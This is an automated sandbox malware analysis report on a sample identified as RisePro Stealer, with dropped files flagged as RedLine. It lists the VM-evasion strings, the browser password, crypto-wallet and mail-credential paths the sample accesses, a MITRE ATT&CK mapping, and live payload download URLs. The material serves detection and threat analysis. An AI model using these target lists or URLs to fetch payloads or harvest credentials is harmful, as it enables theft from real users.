Source: file.exe, 00000000.00000002.3807052921.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: file.exe, 00000000.00000002.3809134733.0000000005DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1366252933.000000000122F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}=
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: file.exe, 00000000.00000003.2660139988.000000000125B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}e
Source: file.exe, 00000000.00000002.3808658828.0000000005DAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&0000001.19041.2006_none_d94bc80de1097097\gdiplus.dll
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0084C590 rdtsc

0_2_0084C590

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0690E580 GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

0_2_0690E580

Source: C:\Users\user\Desktop\file.exe

0_2_068FC990

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00624130 mov eax, dword ptr fs:[00000030h]

0_2_00624130

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_068DE3B5 GetHGlobalFromStream,GlobalSize,GlobalLock,VirtualAlloc,RtlGetCompressionWorkSpaceSize,RtlCompressBuffer,GlobalUnlock,GdipDisposeImage,GetProcessHeap,HeapAlloc,

0_2_068DE3B5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_069162B6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_069162B6

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe"			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		0_2_069302FD
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,		0_2_06930227

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0059360D GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0059360D

Source: C:\Users\user\Desktop\file.exe

0_2_068FC990

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 38.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.1490164817.0000000005FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mMNhxEaskfVfjkc4NDz8xtN.zip, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxxni
Source: file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets*
Source: file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets*
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5316, type: MEMORYSTR

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.1490164817.0000000005FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mMNhxEaskfVfjkc4NDz8xtN.zip, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Create Account	1 Valid Accounts	1 Obfuscated Files or Information	1 Credential API Hooking	2 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Valid Accounts	1 Access Token Manipulation	1 Software Packing	Security Account Manager	36 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	11 Process Injection	1 DLL Side-Loading	NTDS	141 Security Software Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	121 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	1 Credential API Hooking	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	121 Registry Run Keys / Startup Folder	1 Valid Accounts	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	26%	ReversingLabs
file.exe	24%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	80%	Virustotal		Browse
C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	80%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
easy2buy.ae	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.mi	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://easy2buy.ae/wp-content/upgrade/k.exexe	100%	Avira URL Cloud	malware
https://easy2buy.ae:80/wp-content/upgrade/k.exeuser	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampi	0%	Avira URL Cloud	safe
http://193.233.132.175/server/k/l2.exeo	0%	Avira URL Cloud	safe
https://easy2buy.ae/wp-content/upgrade/k.exe(d	100%	Avira URL Cloud	malware
https://easy2buy.ae/wp-content/upgrade/k.exe	100%	Avira URL Cloud	malware
https://easy2buy.ae/_2	0%	Avira URL Cloud	safe
http://crt.sectigo	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampi	0%	Virustotal		Browse
http://ns.exif/1	0%	Avira URL Cloud	safe
